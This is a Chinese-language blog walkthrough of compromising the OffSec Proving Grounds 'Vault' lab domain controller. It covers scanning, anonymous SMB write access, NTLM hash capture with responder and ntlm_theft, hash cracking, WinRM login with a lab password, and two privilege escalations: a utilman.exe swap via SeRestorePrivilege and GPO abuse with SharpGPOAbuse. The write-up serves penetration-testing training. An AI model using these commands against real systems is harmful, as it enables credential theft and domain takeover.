OSCP Vault Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Vault

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

SMB 未授权访问 –> DocumentsShare 目录上传恶意访问文件 –> responder 抓取用户 NET NTLM Hash,hashcat 破解 –> 系统 Anirudh 用户权限 –> 用户旗帜

权限提升:

方法一: SeRestorePrivilege 本地提权 –> 系统 system 权限 –> 管理员旗帜

方法二: DEFAULT DOMAIN POLICY 组策略写入权限滥用 –> 将 Anirudh 用户加入管理员组 –> 系统 system 权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sudo nmap -p- 192.168.213.172 --min-rate=2000

PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
49666/tcp open unknown
49668/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49679/tcp open unknown
49703/tcp open unknown
49797/tcp open unknown

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
sudo nmap -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49666,49668,49673,49674,49679,49703,49797 -sCV 192.168.213.172

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-24 06:25:18Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vault.offsec0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vault.offsec0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.vault.offsec
| Not valid before: 2025-09-23T06:17:10
|_Not valid after: 2026-03-25T06:17:10
|_ssl-date: 2025-09-24T06:26:52+00:00; -3s from scanner time.
| rdp-ntlm-info:
| Target_Name: VAULT
| NetBIOS_Domain_Name: VAULT
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: vault.offsec
| DNS_Computer_Name: DC.vault.offsec
| DNS_Tree_Name: vault.offsec
| Product_Version: 10.0.17763
|_ System_Time: 2025-09-24T06:26:13+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
49797/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

系统为 Windows 域环境,开放有 RDP、WINRM 和 Windows 域控的一些默认服务。

域控域名、KDC:

1
2
3
4
# 域名
vault.offsec
# KDC
dc.vault.offsec

3.2 渗透测试突破边界

3.2.1 SMB 共享目录窃取 Anirudh 用户 NET NTLM Hash

在 kali 添加靶机域名解析:

1
echo "192.168.213.172\tdc.vault.offsec vault.offsec" | sudo tee -a /etc/hosts

smbclient 工具枚举发现靶机 SMB 服务可匿名访问 DocumentsShare 目录, 注意: 通过 nxc、smbmap、enum3linux 枚举均无法得到。

1
smbclient -L //192.168.213.172 -N

靶机 SMB DocumentsShare 目录存在写入权限,文件夹英文字面为文件共享的意思,猜测靶机可能存在计划任务访问该文件夹,由于系统属于 Windows 环境,可使用 ntlm_theft 工具生成包含恶意访问的文件,然后在 kali 使用 responder 开启监听,最后在 DocumentsShare 目录上传恶意访问文件,尝试抓取 Windows NET NTLM Hash。

1
https://github.com/Greenwolf/ntlm_theft
1
python3 ntlm_theft.py -g all -s 192.168.45.227 -f f0ne

1
2
3
4
sudo responder -I tun0
smbclient //192.168.213.172/DocumentsShare -N
prompt
mput *

将抓取的 NET NTLM Hash 保存至文本,使用 hashcat 破解,得到 Anirudh 用户明文密码。

1
hashcat hash ~/Desktop/rockyou.txt

使用 evil-winrm 连接靶机(Anirudh 用户权限)。

1
evil-winrm -i 192.168.213.172 -u anirudh -p SecureHM

3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 SeRestorePrivilege 本地提权(方法一)

使用 whoami /priv 查看本地特权时,发现当前 shell 存在 SeBackupPrivilege 和 SeRestorePrivilege 特权,利用该特权可尝试备份靶机 system 和 sam 文件,由于靶机属于域控环境,所以需要备份 ntds 文件,但实际执行过程出现错误,无法完成 ntds 文件备份。

SeBackupPrivilege 和 SeRestorePrivilege 特权利用步骤可参考历史文章(点击查看)

即使我们无法利用 SeBackupPrivilege 和 SeRestorePrivilege 特权备份域控 ntds 文件,仍可通过 SeRestorePrivilege 特权替换系统文件,然后在 DRP 界面唤醒 system 权限 shell。

SeRestorePrivilege 特权利用步骤可参考历史文章(点击查看)

C:\Windows\System32\cmd.exe 修改为 C:\Windows\System32\utilman.exe注意: 不能使用 copy 只能使用 move。

1
2
3
cd C:\Windows\System32
move utilman.exe utilman.exe.back
move cmd.exe utilman.exe

连接靶机 RDP 服务,在窗口输入 Win + U ,即可得到系统 system 权限 shell。

1
rdesktop 192.168.213.172

3.3.2 Anirudh 用户组策略对象写入权限滥用(方法二)

使用 sharphound 收集域控信息,将搜集到的信息导入 bloodhound,发现 Anirudh 用户对 DEFAULT DOMAIN POLICY 组策略具有写入权限,

点击 DEFAULT DOMAIN POLICY 组策略,发现其链接到域控,由于 Anirudh 用户对其具有写入权限,可使用 pyGPOAbuse 工具修改组策略,将任意用户加入系统管理员组。

域控组策略详细利用示例可参考历史文章(点击查看)

将 pyGPOAbuse 工具上传至靶机,将 Anirudh 用户添加至管理员组,然后刷新组策略触发执行。

1
2
# 工具获取链接
https://github.com/Flangvik/SharpCollection

1
get-gpo -all

1
2
3
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "Default Domain Policy"
gpupdate /force
net localgroup administrators

使用 impacket-psexec 连接靶机,得到系统 system 权限。

1
impacket-psexec 'anirudh':'SecureHM'@192.168.213.172

3.3.3 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨